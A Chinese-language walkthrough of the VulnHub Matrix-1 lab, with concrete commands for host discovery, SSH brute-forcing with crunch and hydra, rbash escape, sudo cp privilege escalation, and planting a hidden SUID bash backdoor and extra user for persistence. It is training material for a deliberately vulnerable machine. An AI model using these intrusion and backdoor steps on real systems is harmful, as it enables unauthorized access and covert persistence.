靶机下载地址:https://www.vulnhub.com/entry/matrix-1,259/
教程链接地址:https://blog.csdn.net/weixin_43583637/article/details/102845860
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 MATRIX:桥接于 192.168.31.1 的网卡,ip 未知
-
通过 netdiscover 扫描当前网卡里边有哪些机器
sudo netdiscover -i eth0 -r 192.168.31.0/24
-
将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1 | shell |
- 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
sudo nmap -PA 192.168.31.107 --excludefile myip.txt

-> 目标机器的 ip 地址: 192.168.31.107
- 确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.107 -oN /tmp/matrix.txt

-> 靶机开放端口 22, 80, 31337
# 80 网站信息收集
右键发现无法检查源代码,先扫一遍目录
dirsearch -u http://192.168.31.107/

-> 敏感网址:http://192.168.31.107/assets
-> 找到敏感目录:http://192.168.31.107/assets/img/p0rt_31337.png
但是没有找到更多可以操作的,转到下个目标
# 31337 网站信息收集
这里有一个提示暗号的意思,右键检查源代码
发现一串 base64 加密的字符,通过终端解密此密文
1 | echo "ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=" | base64 -d |
-> 得到文件名为 Cypher.matrix 的提示文件
尝试访问 http://192.168.31.107:31337/Cypher.matrix
下载后得到一个文件
# Brainfuck 解密
这是一个 brainfuck 加密,直接在线解密
解密网址:https://ctf.bugku.com/tool/brainfuck
-> 用户名:guest 密码:k1ll0rXX
最后两位 XX 是未知的,需要进行爆破
# Crunch 生成字典
1 | 查看字典生成规则的lst文件 |
1 | crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric -t k1ll0r@@ > pass.dic |

# Hydra 爆破 SSH
1 | hydra -l guest -P pass.dic ssh://192.168.31.107 -f -t 4 -I -vV -o hydra.ssh |

-> 用户名:guest 密码:k1ll0r7n
# Rbash 逃逸
1 | ssh登陆到此台服务器 |

发现此会话窗口是 rbash,即做了限制的 bash
1 | 查看当前环境变量 |

1 | 发现当前只能使用vi,尝试使用vi逃逸rbash |

rbash 成功升级为了 bash,但是很多命令还是没有
# sudo (cp) 提权
查看到正常机器上的 id 是在 /usr/bin 上,输入 /usr/bin/id 可以正常使用,而输入 id 无法正常访问,说明当前的会话窗口找不到 id 命令,要从环境变量中添加
export PATH=/usr/bin:$PATH

sudo -l 查看相关的权限设置
发现 trinity 可以无密码使用 /bin/cp
cp 提权说明:https://gtfobins.github.io/gtfobins/cp/
1 | cd /home/trinity/ |

# root 权限问题提权
sudo -l 发现可以由 root 执行 /home/thrity/oracle
但是此文件在此目录中并不存在,复制出来 bash,并利用 root 执行此文件
1 | cp /bin/bash /home/thrity/oracle |
输入 id 之后,可见成功提权至 root

# sudo su 提权
当拿到 root 权限之后,习惯性的翻阅 /etc/sudoers 文件,发现此文件中授予了 guest 用户执行 root 的所有权限,意味着 guest 用户可以 sudo su 并输入自己的密码切换到 root 账户
1 | cat /etc/sudoers | grep "ALL=(ALL) ALL" |

即意味着当得到 guest 用户 rbash 逃逸后,可以凭借 sudo su 直接提权为 root
# suid 权限维持
参考地址:http://www.mchz.com.cn/cn/service/safety-lab/info_26_itemid_4060.html
在正常的机器上找到 useradd 与 passwd 的位置,将其目录添加到靶机的 PATH 中,添加 kali 用户,并复制 bash,添加 s 权限,隐藏后门,方便提权
1 | 靶机 |

-> 可以通过 kali 用户直接登陆此台服务器,并且利用我们遗留在服务器上具有 s 权限的后门文件进行升级 shell